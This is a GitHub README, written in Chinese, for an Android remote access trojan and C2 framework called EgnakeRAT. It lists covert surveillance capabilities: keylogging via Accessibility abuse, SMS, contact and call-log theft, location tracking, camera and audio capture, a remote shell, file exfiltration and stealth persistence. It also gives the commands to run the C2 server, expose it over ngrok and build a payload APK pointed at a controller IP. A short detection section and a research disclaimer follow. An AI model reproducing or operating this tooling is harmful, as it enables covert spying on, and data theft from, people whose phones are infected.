egnake/EgnakeRAT
GitHub: egnake/EgnakeRAT
面向红队和移动安全研究的高级 Android C2 框架,集异步加密通信、实时 Web 管理面板与全面设备监控于一体。
Stars: 18 | Forks: 2
```
╔══════════════════════════════════════════════════════════════════════════════╗
║ ███████╗ ██████╗ ███╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ █████╗ ████████╗ ║
║ ██╔════╝██╔════╝ ████╗ ██║██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗╚══██╔══╝ ║
║ █████╗ ██║ ███╗██╔██╗ ██║███████║█████╔╝ █████╗ ██████╔╝███████║ ██║ ║
║ ██╔══╝ ██║ ██║██║╚██╗██║██╔══██║██╔═██╗ ██╔══╝ ██╔══██╗██╔══██║ ██║ ║
║ ███████╗╚██████╔╝██║ ╚████║██║ ██║██║ ██╗███████╗██║ ██║██║ ██║ ██║ ║
║ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ║
╚══════════════════════════════════════════════════════════════════════════════╝
```
**高级 Android C2 框架 · AES-256 加密 · 实时 Web 仪表盘**
[](https://python.org)
[](https://developer.android.com)
[]()
[]()
[]()
## 架构
```
┌─────────────────────────────────────────────────────────────┐
│ EgnakeRAT │
├──────────────────┬──────────────────┬───────────────────────┤
│ C2 TCP Server │ Web Dashboard │ Android Client │
│ (asyncio) │ (Flask+SIO) │ (Java/Kotlin) │
├──────────────────┼──────────────────┼───────────────────────┤
│ StreamReader/ │ REST API │ Persistent Service │
│ StreamWriter │ Socket.IO WS │ Accessibility Svc │
│ Coroutine-per- │ Real-time events │ Auto-reconnect │
│ connection │ │ Stealth mode │
├──────────────────┴──────────────────┴───────────────────────┤
│ Shared Layer │
│ ┌──────────┐ ┌───────────────┐ ┌───────────────────┐ │
│ │ Protocol │ │ CryptoManager │ │ Database (SQLite) │ │
│ │ JSON+LPF │ │ AES-256-CBC │ │ WAL mode │ │
│ └──────────┘ └───────────────┘ └───────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 功能特性
### C2 服务器
- **完全异步** — 基于 `asyncio.start_server` 构建,以极低的内存占用处理数千个并发连接
- **AES-256-CBC 加密**通信,并使用 SHA-256 密钥派生
- **长度前缀 JSON 协议** — 4 字节大端序报头 + 加密 payload,单条消息最大 50MB
- **自动重连处理** — 清理过期的会话,优雅地终止旧连接
- **Ngrok 隧道支持** — 内置 TCP 隧道用于外部访问
### Web 仪表盘
- **实时设备管理**,通过 Socket.IO WebSocket 事件实现
- **暗色玻璃拟态 UI**,搭配 Lucide 图标和 Inter/JetBrains Mono 字体排版
- **模块:** 战术命令、远程 Shell、键盘记录器、屏幕流、通知拦截、文件窃取、审计日志
- **Payload 生成器** — 直接从浏览器配置并修补 Android APK
- **全局地图** — 基于 Leaflet.js 的设备地理位置追踪
### Android 客户端功能
| 类别 | 命令 |
|---|---|
| **侦察** | `deviceInfo`, `getBatteryStatus`, `getWifiInfo`, `getIP`, `getMACAddress`, `getSimDetails`, `getInstalledApps`, `getClipData` |
| **监控** | `getLocation`, `getSMS`, `getCallLogs`, `getContacts`, `getNotifications` |
| **媒体** | `camList`, `takepic`, `screenshot`, `startAudio/stopAudio`, `startVideo/stopVideo` |
| **实时交互** | `startScreenStream/stopScreenStream`, `makeCall`, `sendSMS`, `openUrl`, `showToast`, `vibrate`, `lockScreen` |
| **Shell 与文件** | `shell`, `shellCmd`, `fileList`, `fileDownload`, `fileUpload`, `fileDelete` |
| **无障碍服务** | `startKeylogger/stopKeylogger`, `readScreen`, `performAction`, `checkAccessibility`, `enableAccessibility` |
### 通信协议
```
┌────────────┬──────────────────────────────────┐
│ 4 bytes │ N bytes │
│ Length (BE)│ AES-256-CBC(JSON payload) │
└────────────┴──────────────────────────────────┘
```
每一条消息都是一个带有 `type` 字段的 JSON 对象。Payload 使用 AES-256-CBC 加密(预置随机 IV),随后进行 base64 编码,最后加上 4 字节大端序整数作为长度前缀。
**握手流程:**
1. 客户端通过 TCP 建立连接
2. 客户端发送包含 `device_id`、`model`、`android_version`、`key_hash` 的 `handshake` 消息
3. 服务器验证 `key_hash` 是否与 `MD5(SHA256(passphrase))` 匹配
4. 服务器响应 `handshake_ack`
5. 客户端进入心跳循环,服务器可随时下发命令
## 设置说明
### 前置条件
- Python 3.10+
- Android Studio(用于构建 APK)
### 安装说明
```
git clone https://github.com/user/EgnakeRAT.git
cd EgnakeRAT
pip install -r requirements.txt
```
### 启动 C2 服务器
```
# 默认: C2 在端口 8000,Dashboard 在端口 8080
python EgnakeRAT.py server
# 自定义端口
python EgnakeRAT.py server -p 9000 -w 3000
# 使用 ngrok 隧道 (用于外部访问)
python EgnakeRAT.py server --ngrok
# 自定义加密密钥
python EgnakeRAT.py server -k "YourSecurePassphrase"
```
通过 `http://localhost:8080` 访问仪表盘
### 构建 Android Payload
```
# 使用目标 IP 和端口配置 APK
python EgnakeRAT.py build -i 192.168.1.100 -p 8000
# 使用 ngrok
python EgnakeRAT.py build --ngrok
# 自定义加密密钥
python EgnakeRAT.py build -i 10.0.0.5 -p 8000 -k "YourSecurePassphrase"
```
然后在 Android Studio 中打开 `Android_Code/` 目录,运行 `Build → Generate Signed APK`,或者:
```
cd Android_Code && ./gradlew assembleRelease
```
## 项目结构
```
EgnakeRAT/
├── EgnakeRAT.py # Entry point (server + build CLI)
├── requirements.txt
├── server/
│ ├── c2_server.py # Async TCP C2 server + client handler
│ ├── protocol.py # Wire protocol constants + pack/unpack
│ ├── crypto.py # AES-256-CBC encryption engine
│ ├── database.py # SQLite database (WAL mode)
│ ├── logger.py # Rich console + file logging
│ └── web/
│ ├── app.py # Flask + Socket.IO web dashboard
│ ├── static/
│ │ ├── css/dashboard.css
│ │ └── js/dashboard.js
│ └── templates/
│ └── index.html
├── Android_Code/ # Android client source (Java)
├── Dumps/ # Exfiltrated files (per-device dirs)
└── logs/ # Server logs (daily rotation)
```
## 数据库结构
| 表名 | 用途 |
|---|---|
| `devices` | 设备注册表(型号、操作系统、IP、电池、WiFi、在线状态) |
| `command_history` | 完整的命令审计记录及时间戳 |
| `files` | 被窃取文件的元数据 |
| `sessions` | 连接会话及连接/断开时间戳 |
| `keylogs` | 按应用记录的按键捕获数据 |
| `notifications` | 拦截到的设备通知 |
## 防御与检测
了解该工具的运作机制对于防御性安全至关重要:
- **网络特征** — 持续连接到非标准端口的 TCP 连接,且包含加密(非 TLS)流量
- **无障碍服务滥用** — 监控哪些应用请求了 `BIND_ACCESSIBILITY_SERVICE` 权限
- **耗电异常** — 屏幕流传输和持续的键盘记录会增加功耗
- **APK 分析** — 可以通过对 APK 进行静态分析来提取硬编码的 C2 IP/端口和 AES 密钥
本项目仅出于**教育和授权安全研究目的**而发布。不提供任何担保。使用风险和责任由使用者自行承担。标签:AES-256加密, Android恶意软件, C2框架, DOM键盘记录, JS文件枚举, Python, 域名枚举, 安全学习资源, 安全研究与对抗, 安卓远控, 实时Web控制面板, 异步通信, 攻击路径可视化, 数据加密, 无后门, 目录枚举, 移动安全, 移动安全研究, 端到端加密, 网络信息收集, 网络安全, 计算机取证, 远程管理, 逆向工具, 通知拦截, 隐私保护, 黑客工具